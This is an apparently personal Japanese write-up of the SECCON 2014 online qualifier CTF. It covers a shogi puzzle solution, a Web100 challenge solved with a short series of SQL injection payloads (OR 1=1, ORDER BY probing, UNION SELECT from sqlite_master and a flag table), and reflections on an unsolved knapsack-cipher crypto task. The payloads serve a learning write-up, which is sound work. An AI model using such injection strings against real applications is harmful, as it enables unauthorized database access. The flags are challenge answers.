SECCON2014 オンライン予選日本語 Write-up
お疲れ様でした。
今回はなんというか、やるだけ問題しか解けなかったので微妙な人権確保具合でした。
Unknown100 詰将棋?
22銅 12王 5特 同王 10平 6王 11平 同王 4銀 16王 15金引 23王 29金打
の、まで十三手。
ほかの解答もあるらしいのですが、これがぱっと出てきたので、それ以外考えませんでした。
自由に動かせる将棋盤ソフトを探す事が一番めんどくさかったですね!!!
結局ペイントで切り貼りしながら解きました。
まぁ初手銅が出れば後はノリでどうにでもなるかと。
FLAG{4,15,18,22,23,28,29}
Web100 箱庭SQLiチャレンジ
ハイパーやるだけ問題。
00000000' OR 1=1;--
00000000' ORDER BY 6;--
00000000' ORDER BY 5;--
00000000' UNION SELECT 1,1,1,1,sql FROM sqlite_master;--
00000000' UNION SELECT 1,1,1,1,flag FROM seccon;--
これ、DLするときにマルウェアと判定されるし起動するときめっちゃ重いし愛甲さんのサーバにいちいちクエリ飛ばすし、何か色々アレでした。
FLAG{EnjoySQLi}
結局解けませんでしたが、Cryptは既知平文攻撃でflag.zipを解凍し、./cryptを鍵・平文共にいじりながら暗号化して、アルゴリズムを把握しつつ穴を探す感じっぽかったです。
とりあえず暗号化されたデータの先頭4byteが平文時のファイルサイズ*4 で、その後ろに続くのがzlibで圧縮された暗号化データだって事までは特定出来ました。
暗号文4byteにつき平文1byteで、1:1対応っぽかったので、その辺の実装の不備を突くのかな、とか思ってましたが、誰も解けた人が居なかったので何とも……。
暗号勉強しなきゃ
(追記)
FLAGは暗号名か。ちゃんとした暗号だった( ・∀・)つ〃∩ ヘェーヘェーヘェー
Merkle-Hellmanナップサック暗号 - Wikipedia
http://t.co/aNX7iZ7UKM
— kusanoさん@がんばらない (@kusano_k) 2014, 7月 20
あー、鍵と平文をもっとゴネゴネしてれば良かったのか……??